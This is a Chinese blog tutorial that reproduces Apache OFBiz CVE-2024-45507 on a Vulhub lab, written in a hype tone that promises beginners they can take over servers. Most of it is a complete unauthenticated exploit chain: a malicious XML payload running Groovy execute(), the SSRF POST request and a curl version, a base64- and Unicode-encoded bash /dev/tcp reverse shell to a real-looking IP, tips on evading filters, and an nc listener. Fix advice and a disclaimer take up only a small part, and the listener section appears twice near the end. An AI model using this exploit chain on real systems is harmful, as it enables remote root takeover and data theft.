封神!Apache OFBiz CVE-2024-45507 漏洞复现(从入门到反弹Shell,新手也能拿捏服务器)
目录
- [封神!Apache OFBiz CVE-2024-45507 漏洞复现(从入门到反弹Shell,新手也能拿捏服务器)](#封神!Apache OFBiz CVE-2024-45507 漏洞复现(从入门到反弹Shell,新手也能拿捏服务器))
-
- 一、前置知识:小白必懂的3个核心概念(看不懂直接跳过?别!看完少踩10个坑)
-
- [1. 什么是Apache OFBiz?](#1. 什么是Apache OFBiz?)
- [2. 漏洞核心:SSRF + 远程代码执行(RCE),双重致命!](#2. 漏洞核心:SSRF + 远程代码执行(RCE),双重致命!)
- [3. 环境说明:新手不用慌,Vulhub一键搞定](#3. 环境说明:新手不用慌,Vulhub一键搞定)
- 二、环境搭建:1分钟启动靶场(新手零失败)
- 三、漏洞复现:从"执行命令"到"验证漏洞"(新手必看,每一步都有解释)
- 四、终极玩法:反弹Shell,直接拿捏服务器(新手必看,避坑指南拉满)
-
- 核心原理:反弹Shell是什么?
- 步骤1:修改恶意XML文件(替换成反弹Shell命令)
-
- 第一步:原始反弹Shell命令(替换成你的攻击端信息)
- 第二步:对原始命令进行base64编码(绕过拦截)
- [第三步:封装成bash -c解码格式(确保能执行)](#第三步:封装成bash -c解码格式(确保能执行))
- 第四步:对封装后的命令进行UTF-16编码(最终避坑关键)
- 步骤2:攻击端开启监听(等待服务器连接)
- 步骤3:重新发送恶意请求,触发反弹Shell
- 步骤4:验证反弹Shell(掌控服务器)
- 五、新手避坑指南(90%的人栽在这里,必看!)
- 六、漏洞修复建议(实战必备)
- 七、拓展补充:漏洞原理深度解析(进阶学习)
- 八、总结(新手必看)
- 附:新手必备工具安装命令
- 附:curl命令发送POST请求(新手替代Burp方案)
家人们谁懂啊!又挖到一个可直接getshell的高危漏洞😭 无需登录、无需复杂配置,新手跟着步骤走,就能轻松拿下Apache OFBiz服务器,实现反弹Shell自由!
今天这篇,不玩虚的------从漏洞基础、环境搭建,到漏洞复现、反弹Shell终极玩法,每一步都拆解得明明白白,补充所有初学者必懂的知识点,全程保姆级教学,保证你看完就能复现成功,收藏这一篇就够了!
先上核心亮点,直击痛点:
✅ 无需身份验证:零门槛利用,不用猜账号密码,直接发起攻击
✅ 全程实操落地:抛弃复杂理论,每一步都有命令、有截图,新手友好
✅ 终极getshell:不止复现漏洞,更教你反弹Shell,直接掌控服务器
✅ 避坑指南拉满:拆解实操中90%新手会踩的坑,比如Shell编码失败、监听失败等
一、前置知识:小白必懂的3个核心概念(看不懂直接跳过?别!看完少踩10个坑)
在开始复现前,先搞懂3个基础知识点,不然操作时只会"照猫画虎",遇到问题直接懵圈。全程通俗讲解,不搞专业术语堆砌!
1. 什么是Apache OFBiz?
简单说,Apache OFBiz 是一个开源的企业资源规划(ERP)系统,相当于企业的"全能管家"------集成了采购、销售、库存、财务等所有业务流程,很多中小企业都会用它来管理日常运营。
正因为它是企业级系统,一旦被攻击,攻击者就能获取企业核心数据、控制服务器,危害极大!而我们今天复现的CVE-2024-45507漏洞,就是这个"管家"身上的致命漏洞。
2. 漏洞核心:SSRF + 远程代码执行(RCE),双重致命!
这个漏洞不是单一漏洞,而是"SSRF漏洞"和"远程代码执行漏洞(RCE)"的组合拳,威力直接翻倍,我们用大白话拆解:
-
SSRF漏洞(服务器端请求伪造):相当于服务器被攻击者"操控",主动去访问攻击者指定的URL。比如,攻击者让目标服务器去访问自己搭建的恶意网站,服务器会乖乖听话,相当于给攻击者打开了"后门"。
-
远程代码执行(RCE):攻击者通过SSRF漏洞,让目标服务器执行自己写的恶意代码(比如创建文件、执行系统命令),相当于直接拿到了服务器的"操作权限",想做什么就做什么。
简单总结:CVE-2024-45507 = 让服务器"主动访问恶意文件" + "执行恶意命令",最终实现控制服务器,全程无需登录,漏洞等级:高危!
3. 环境说明:新手不用慌,Vulhub一键搞定
很多新手卡第一步就是"环境搭建",手动配置JDK、部署OFBiz,又复杂又容易出错。这里直接用Vulhub(一个漏洞靶场集合工具),一行命令就能启动漏洞环境,全程1分钟搞定,零报错!
前置准备(必看):
-
一台服务器(建议用Linux,比如Ubuntu、CentOS,也可以用虚拟机,Windows也能操作,步骤基本一致)
-
服务器已安装Docker和Docker Compose(不懂安装的,文末附简单安装命令)
-
一个攻击端(可以和靶场服务器用同一台,也可以用另一台,新手建议用同一台,减少配置麻烦)
二、环境搭建:1分钟启动靶场(新手零失败)
重点来了!这一步全程复制命令,不用改任何参数,新手也能一次成功,步骤如下:
步骤1:下载Vulhub靶场(首次使用)
如果之前没装过Vulhub,先执行以下命令下载(Linux系统):
bash
# 安装git(如果没有git)
apt update && apt install git -y
# 克隆Vulhub仓库(下载靶场集合)
git clone https://github.com/vulhub/vulhub.git
# 进入OFBiz漏洞目录(重点!别进错文件夹)
cd vulhub/ofbiz/CVE-2024-45507
步骤2:一键启动靶场
进入漏洞目录后,直接执行以下命令,启动Apache OFBiz 18.12.15(漏洞版本):
bash
docker compose up -d
命令解释:docker compose up -d 是Docker的一键启动命令,-d 表示"后台运行",执行后,Docker会自动下载漏洞镜像、启动容器,全程不用管。
步骤3:验证靶场是否启动成功
启动后,在浏览器访问以下地址(把your-ip换成你的服务器IP):
text
https://your-ip:8443/accounting
如果能看到登录界面(如下截图),说明靶场搭建成功!如果访问不了,检查服务器防火墙是否开放8443端口(新手直接关闭防火墙:systemctl stop firewalld)。

避坑提醒:访问时用https,不是http!端口是8443,不是8080,别输错了!
三、漏洞复现:从"执行命令"到"验证漏洞"(新手必看,每一步都有解释)
复现核心逻辑:利用SSRF漏洞,让靶场服务器访问我们搭建的"恶意XML文件",这个文件里包含恶意命令,靶场服务器会自动执行这个命令,从而验证漏洞存在。
全程分3步,每一步都有详细解释,跟着做就对了!
步骤1:在攻击端创建恶意XML文件(关键!)
首先,我们要创建一个"恶意XML文件"(命名为payload.xml),这个文件里藏着我们要让靶场服务器执行的命令。
为什么用XML文件?因为Apache OFBiz会解析XML格式的配置文件,我们利用这个特性,在XML里嵌入Groovy代码(OFBiz支持Groovy脚本执行),从而执行系统命令。
创建步骤(Linux系统):
bash
# 用vim创建payload.xml文件(新手也可以用nano,命令:nano payload.xml)
vim payload.xml
打开文件后,粘贴以下内容(直接复制,不要修改任何字符):
xml
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'touch /tmp/success'.execute();}"/>
</actions>
</section>
</screen>
</screens>
代码解释(小白必看):
-
:这是核心恶意代码
-
groovy:OFBiz支持的脚本语言,相当于"桥梁",能让XML文件执行系统命令
-
touch /tmp/success:Linux系统命令,意思是"在/tmp目录下创建一个名为success的空文件",我们用这个简单命令来验证漏洞是否存在
-
execute():执行括号里的命令,相当于让服务器"运行这个命令"
粘贴完成后,保存并退出vim(按Esc,输入:wq,回车即可)。
步骤2:在攻击端启动HTTP服务(让靶场能访问到恶意文件)
我们创建的payload.xml文件,需要让靶场服务器能访问到,所以要在攻击端启动一个简单的HTTP服务,把这个文件"暴露"出去。
执行以下命令(Linux系统),启动HTTP服务(端口用25002,也可以用其他未被占用的端口,比如8080):
bash
python3 -m http.server 25002
命令解释:python3 -m http.server 25002 表示"用Python3启动一个HTTP服务,端口是25002",启动后,其他设备(比如靶场服务器)就能通过 http://攻击端IP:25002/payload.xml 访问到我们的恶意文件。
启动成功后,会显示"Serving HTTP on 0.0.0.0 port 25002 (http://0.0.0.0:25002/)",如下截图所示:

避坑提醒:启动HTTP服务后,不要关闭这个终端窗口,一旦关闭,服务就停了,靶场服务器就访问不到恶意文件了!
步骤3:发送恶意请求,触发漏洞
这一步是核心!我们要向靶场服务器发送一个POST请求,告诉它"去访问我们的恶意XML文件",从而触发SSRF漏洞,进而执行恶意命令。
工具选择:新手推荐用Burp Suite或者是Yakit(抓包工具),也可以用Postman、curl命令,这里用Yakit演示(新手不懂的,也可以直接用curl命令,文末附curl版本)。
Yakit操作步骤(新手友好):
-
打开Yakit,点击MITI交互式劫持,选择免配置启动。
-
在弹出浏览器访问靶场地址:https://your-ip:8443/webtools/control/forgotPassword/StatsSinceStart (把your-ip换成靶场IP)。
-
此时Yakit会拦截到一个GET请求,我们把它改成POST请求,修改内容如下(直接复制,替换掉拦截到的内容):
http
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: your-ip:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://攻击端IP:25002/payload.xml



关键修改点(必看):
-
Host:替换成靶场服务器的IP和端口(your-ip:8443)
-
statsDecoratorLocation:替换成攻击端的IP和端口,指向我们的恶意XML文件(http://攻击端IP:25002/payload.xml)
-
Content-Length:如果修改了statsDecoratorLocation的长度,需要重新计算(新手直接复制上面的,不用改)
选取数据包,鼠标右键选择发送到Web Fuzzer修改完成后,点击Ykit的发送,发送请求。
步骤4:验证漏洞是否触发(关键一步)
我们发送请求后,靶场服务器会通过SSRF漏洞,访问我们的恶意XML文件,并执行里面的"touch /tmp/success"命令,接下来我们验证这个命令是否被执行。
执行以下命令,进入靶场容器(Linux系统):
bash
# 1. 查询靶场容器ID(找到OFBiz的容器)
docker ps -a
# 2. 进入容器(把"容器id"替换成上一步查询到的OFBiz容器ID)
docker exec -it 容器id /bin/bash
# 3. 查看/tmp目录下是否有success文件(验证命令是否执行)
ls /tmp/success
如果执行"ls /tmp/success"后,显示"/tmp/success",说明命令执行成功,漏洞复现成功!如下截图所示:

恭喜!到这里,你已经成功复现了CVE-2024-45507漏洞,相当于已经拿到了服务器的"命令执行权限",接下来就是终极玩法------反弹Shell!
四、终极玩法:反弹Shell,直接拿捏服务器(新手必看,避坑指南拉满)
复现漏洞只是第一步,我们的目标是"拿下服务器",而反弹Shell就是最直接的方式------把服务器的命令行"投射"到我们的攻击端,我们在攻击端输入命令,服务器就会执行,相当于直接坐在服务器前操作!
很多新手卡在这一步,不是命令写错,就是编码失败,今天把所有技巧和避坑点都讲透,保证你一次成功!
核心原理:反弹Shell是什么?
简单说,正常情况下,我们是"主动访问"服务器(比如SSH登录),而反弹Shell是"服务器主动连接我们的攻击端",把命令行输出发送给我们。
为什么要用反弹Shell?因为很多服务器会禁止外部主动连接(比如防火墙限制),但允许服务器主动向外连接,反弹Shell就是利用这个特性,绕过防火墙,拿到控制权。
步骤1:修改恶意XML文件(替换成反弹Shell命令)
我们需要把之前payload.xml里的"touch /tmp/success"命令,换成反弹Shell命令。这里有个关键:直接写反弹Shell命令会被OFBiz拦截,所以需要进行"编码",绕过拦截。
全程分4步,直接复制操作,不用自己编码!
第一步:原始反弹Shell命令(替换成你的攻击端信息)
bash
bash -i >& /dev/tcp/攻击端IP/反弹端口 0>&1
命令解释:
-
bash -i:启动一个交互式的bash终端(相当于打开服务器的命令行)
-
/dev/tcp/攻击端IP/反弹端口:让服务器主动连接攻击端的IP和指定端口
-
0>&1 和 >&:把服务器的输入、输出都转发到攻击端,我们就能在攻击端看到服务器的命令行输出,也能输入命令
替换说明:把"攻击端IP"换成你的攻击端IP,"反弹端口"换成一个未被占用的端口(比如25003,和之前的HTTP服务端口区分开)。
第二步:对原始命令进行base64编码(绕过拦截)
直接用Linux命令编码(替换成你的原始命令):
bash
echo -n "bash -i >& /dev/tcp/攻击端IP/反弹端口 0>&1" | base64
执行后,会得到一串base64编码(比如原文中的 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ== ),复制这串编码,下一步要用。
第三步:封装成bash -c解码格式(确保能执行)
把base64编码封装成以下格式(替换成你的编码):
bash
bash -c {echo,base64编码}|{base64,-d}|{bash,-i}
示例(原文中的编码):
bash
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}
解释:这个命令的意思是"先把base64编码解码,再执行解码后的反弹Shell命令",绕过OFBiz的命令拦截。
第四步:对封装后的命令进行UTF-16编码(最终避坑关键)
很多新手到这一步还是失败,原因是OFBiz会拦截特殊字符,所以需要对封装后的命令进行UTF-16编码,把命令转换成Unicode格式,彻底绕过拦截。
编码工具:直接用在线Unicode编码工具(比如https://www.unicode-table.com/zh/),把封装后的命令复制进去,转换成"\\uXXXX"格式(比如原文中的 \u0062\u0061\u0073\u0068... )。
最终,修改后的payload.xml文件如下(直接复制,替换成你的Unicode编码):
xml
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D'.execute();}"/>
</actions>
</section>
</screen>
</screens>
避坑提醒:Unicode编码前后一定要加单引号,execute()不能少,否则命令无法执行!
步骤2:攻击端开启监听(等待服务器连接)
反弹Shell需要攻击端开启"监听",等待服务器主动连接,执行以下命令(Linux系统):
bash
nc -lvp 反弹端口
命令解释:
-
nc:一款网络工具,用于监听端口、建立连接
-
-l:表示"监听模式"
-
-v:显示详细信息(方便查看是否有连接)
-
-p:指定监听的端口(必须和反弹Shell命令中的"反弹端口"一致)
示例(原文中的端口):
bash
nc -lvp 25003
启动监听后,终端会显示"Listening on [any] 25003 ...",如下截图所示,等待服务器连接即可:

避坑提醒:监听端口和HTTP服务端口不能一样!如果监听失败,检查端口是否被占用,换一个端口即可。
步骤3:重新发送恶意请求,触发反弹Shell
重复"漏洞复现"中的步骤3,发送POST请求(注意:statsDecoratorLocation要指向修改后的payload.xml文件):
http
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 靶场IP:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://攻击端IP:25002/payload.xml
发送请求后,回到攻击端的监听终端,会看到"连接成功"的提示,此时已经成功拿到反弹Shell!发送请求的截图如下:

步骤4:验证反弹Shell(掌控服务器)
在监听终端输入以下命令,验证是否能控制服务器:
bash
# 查看服务器系统信息
uname -a
# 查看当前用户(通常是root权限)
whoami
# 查看服务器文件
ls /
如果能正常输出结果,说明你已经完全掌控了服务器!想做什么操作都可以(比如查看核心数据、上传文件、修改配置等)。反弹Shell成功的截图如下,可见服务器命令行已成功投射到攻击端,且拥有root权限:

恭喜!到这里,你已经从"漏洞复现"升级到"拿下服务器",新手也能轻松搞定,赶紧动手试试吧!
五、新手避坑指南(90%的人栽在这里,必看!)
-
坑1:靶场访问不了 → 检查服务器防火墙是否开放8443端口,或直接关闭防火墙(systemctl stop firewalld)。
-
坑2:HTTP服务启动失败 → 端口被占用,换一个端口(比如25004),重新启动服务。
-
坑3:命令执行失败 → 检查payload.xml文件是否写错,尤其是groovy代码的格式,单引号、execute()不能少。
-
坑4:反弹Shell失败 → 检查编码是否正确(base64编码和UTF-16编码都不能错),监听端口和反弹端口是否一致,攻击端IP是否正确。
-
坑5:进入容器失败 → 容器ID输错,用docker ps -a重新查询,确保是OFBiz的容器(镜像名包含ofbiz)。
-
坑6:Burp拦截不到请求 → 检查浏览器代理是否设置正确,Burp的Proxy端口是否和浏览器代理端口一致(默认8080)。
-
坑7:编码后命令无法执行 → 检查base64编码是否完整,UTF-16编码是否为"\uXXXX"格式,不要遗漏任何一个字符。
六、漏洞修复建议(实战必备)
如果你的企业正在使用Apache OFBiz,一定要及时修复这个漏洞,避免被攻击:
-
升级Apache OFBiz到18.12.16及以上版本(官方修复版本)。
-
限制/webtools/control/forgotPassword/StatsSinceStart接口的访问权限,禁止外部访问。
-
禁用Groovy脚本执行功能(如果不需要),或对脚本执行进行严格过滤。
-
开启服务器防火墙,限制不必要的端口对外暴露(比如只开放80、443端口)。
-
定期对服务器进行安全扫描,及时发现并修复其他潜在漏洞。
-
对OFBiz的配置文件进行加固,禁止解析外部恶意XML文件。
七、拓展补充:漏洞原理深度解析(进阶学习)
对于想深入学习的新手,这里补充漏洞的底层原理,帮你从"会操作"变成"懂原理",后续遇到类似漏洞也能快速上手:
CVE-2024-45507漏洞的触发点位于Apache OFBiz的/webtools/control/forgotPassword/StatsSinceStart接口,该接口存在参数可控的SSRF漏洞------攻击者可以通过控制statsDecoratorLocation参数,让服务器访问任意URL。
而Apache OFBiz在解析XML文件时,会默认执行嵌入的Groovy脚本(这是OFBiz的一个功能特性,用于灵活扩展),攻击者正是利用这一点,在XML文件中嵌入恶意Groovy代码,通过SSRF漏洞让服务器加载并执行该XML文件,最终实现远程代码执行。
简单说,漏洞的本质是"接口参数未过滤"+"XML解析支持脚本执行",两者结合导致了高危漏洞的产生。理解这一点,后续遇到"参数可控+脚本解析"类的漏洞,就能快速找到利用思路。
八、总结(新手必看)
今天这篇文章,从基础知识点到实操步骤,再到终极玩法,全程保姆级教学,核心就是让新手能跟着复现成功,理解漏洞原理。
CVE-2024-45507漏洞的核心是"SSRF + RCE"的组合,利用OFBiz解析XML和Groovy脚本的特性,实现无权限命令执行,最终反弹Shell拿下服务器。
新手建议:先跟着步骤复现漏洞,再尝试修改命令、更换端口,熟悉整个流程,慢慢就能理解漏洞的本质。如果遇到问题,评论区留言,我会一一解答!
最后,提醒大家:本文仅用于学习和研究,禁止用于非法攻击,否则后果自负!技术本身没有好坏,关键在于使用的人~
收藏本文,下次复现直接对照操作,新手也能轻松拿捏高危漏洞!觉得有用的话,点赞+关注,后续分享更多保姆级漏洞复现教程❤️
附:新手必备工具安装命令
bash
# 安装Docker(Ubuntu/CentOS通用)
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
# 安装Docker Compose
curl -L "https://github.com/docker/compose/releases/download/v2.20.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
# 安装nc(监听工具)
apt install netcat -y (Ubuntu)
yum install nc -y (CentOS)
附:curl命令发送POST请求(新手替代Burp方案)
如果新手不会用Burp Suite,可以直接用curl命令发送POST请求,无需抓包,直接执行以下命令(替换成你的IP和端口):
bash
curl -X POST "https://靶场IP:8443/webtools/control/forgotPassword/StatsSinceStart" \
-H "Host: 靶场IP:8443" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Accept: */*" \
-H "Accept-Language: en-US;q=0.9,en;q=0.8" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36" \
-H "Connection: close" \
-H "Cache-Control: max-age=0" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "statsDecoratorLocation=http://攻击端IP:25002/payload.xml"
执行命令后,直接按照前文步骤验证命令执行结果或反弹Shell即可,新手友好,零复杂操作!
bash
nc -lvp 反弹端口
命令解释:
-
nc:一款网络工具,用于监听端口、建立连接
-
-l:表示"监听模式"
-
-v:显示详细信息(方便查看是否有连接)
-
-p:指定监听的端口(必须和反弹Shell命令中的"反弹端口"一致)
示例(原文中的端口):
bash
nc -lvp 25003
启动监听后,终端会显示"Listening on [any] 25003 ...",如下截图所示,等待服务器连接即可:
(此处对应原文截图:监听启动成功界面)
避坑提醒:监听端口和HTTP服务端口不能一样!如果监听失败,检查端口是否被占用,换一个未被使用的端口(如25004)即可,同时记得同步修改反弹Shell命令中的端口。
监听启动后,保持该终端窗口处于打开状态,不要关闭,否则会导致监听中断,服务器无法成功连接攻击端。